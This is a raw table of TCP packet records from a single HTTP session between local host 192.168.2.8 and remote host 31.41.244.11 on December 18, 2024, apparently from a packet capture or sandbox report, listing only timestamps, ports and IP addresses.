Dec 18, 2024 09:07:30.462347984 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.462388992 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.465329885 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.465379000 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.465487003 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.465675116 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.468451977 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.468539953 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.468650103 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.468650103 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.471541882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.471621990 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.471868038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.471916914 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.474735022 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.474790096 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.474849939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.474899054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.477888107 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.477940083 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.477994919 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.478046894 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.480988026 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.481036901 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.481111050 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.481158972 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.484088898 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.484142065 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.484163046 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.484209061 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.487232924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.487303972 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.487382889 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.487432957 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.490346909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.490431070 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.490443945 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.490473986 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.493535042 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.493608952 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.493632078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.493819952 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.496638060 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.496692896 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.496758938 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.496925116 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.499741077 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.499789953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.499850988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.500047922 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.503089905 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.503115892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.503140926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.503182888 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.505975008 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.506035089 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.506063938 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.506697893 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.509088039 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.509140968 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.509372950 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.509419918 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.512307882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.512340069 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.512371063 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.512387991 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.515367031 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.515425920 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.515484095 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.596746922 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.596813917 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.596822023 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.597167015 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.597940922 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.597982883 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.598031998 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.598077059 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.600533962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.600569010 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.600619078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.603100061 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.603144884 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.603148937 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.603183985 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.605566025 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.605688095 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.605710030 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.605732918 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.608023882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.608062983 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.608115911 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.610445976 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.610527039 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.610579967 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.610618114 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.612807035 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.612864971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.612919092 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.612961054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.615171909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.615227938 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.615277052 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.615493059 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.617441893 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.617528915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.617557049 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.617577076 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.619707108 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.619796991 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.619838953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.621974945 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.622026920 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.622082949 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.622134924 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.624175072 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.624228954 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.624289989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.624334097 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.626322985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.626368046 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.626424074 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.626948118 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.628540993 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.628577948 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.628618002 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.630700111 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.630749941 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.630767107 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.630842924 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.632793903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.632863045 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.632905006 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.634967089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.635020971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.635097027 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.635143995 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.637002945 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.637104034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.637151003 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.639055014 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.639112949 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.639146090 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.639183044 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.641117096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.641211033 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.641262054 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.643129110 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.643194914 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.643253088 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.645190954 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.645291090 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.645328045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.645345926 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.647160053 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.647262096 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.647269964 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.647303104 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.649199963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.649280071 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.649322987 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.651212931 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.651304960 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.651356936 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.653254986 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.653328896 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.653348923 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.653390884 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.655328989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.655380964 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.655400038 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.655468941 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.657274008 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.657371044 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.657372952 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.657835960 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.659332037 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.659374952 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.659413099 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.659447908 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.661343098 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.661437988 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.661478043 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.663383961 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.663436890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.663445950 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.665070057 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.665366888 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.665431023 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.665463924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.665540934 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.667418957 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.667483091 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.667495966 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.667534113 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.669441938 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.669486046 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.669502020 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.669537067 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.671441078 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.671583891 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.671631098 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.673487902 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.673532963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.673573971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.675498962 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.675582886 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.675627947 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.677512884 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.677593946 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.677632093 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.677663088 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.679548979 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.679596901 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.679637909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.679675102 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.681574106 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.681731939 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.681778908 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.683613062 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.683660030 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.683706999 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.683746099 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.685656071 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.685703039 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.685712099 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.685740948 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.687681913 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.687745094 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.687767982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.687958956 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.689685106 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.689765930 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.689820051 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.691714048 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.691792011 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.691838026 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.693764925 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.693831921 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.693876982 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.693918943 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.695734024 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.695832968 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.695880890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.697801113 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.697874069 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.697889090 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.697906971 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.699779987 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.699831963 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.699873924 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.700134039 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.701843023 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.701891899 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.701911926 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.701947927 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.703857899 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.703901052 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.703924894 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.703998089 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.787962914 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.788050890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.788089037 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.788142920 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.788727999 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.788784981 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.788901091 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.788939953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.790261030 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.790319920 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.790380955 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.790420055 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.791743040 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.791834116 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.791897058 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.793354034 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.793406010 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.793473005 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.794877052 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.794919014 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.794975996 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.796426058 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.796506882 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.796557903 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.797959089 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.798012972 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.798059940 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.799412966 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.799473047 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.799489975 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.799532890 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.800863981 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.800930977 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.800971985 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.802437067 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.802496910 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.802582026 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.802817106 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.803754091 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.803869963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.803875923 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.805275917 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.805330992 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.805341959 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.805372953 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.806612968 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.806696892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.806747913 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.808008909 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.808233023 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.808293104 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.809401989 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.809515953 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.809572935 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.810894966 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.810933113 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.810990095 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.812279940 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.812310934 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.812354088 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.813525915 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.813613892 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.813657045 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.815118074 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.815131903 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.815177917 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.816236019 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.816317081 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.816354036 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.817528963 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.817847013 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.817893028 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.821552992 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.821566105 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.821587086 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.821607113 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.821624994 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.821832895 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.822312117 CET	80	49720	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:30.822354078 CET	49720	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:30.822489977 CET	80	49720	31.41.244.11	192.168.2.8
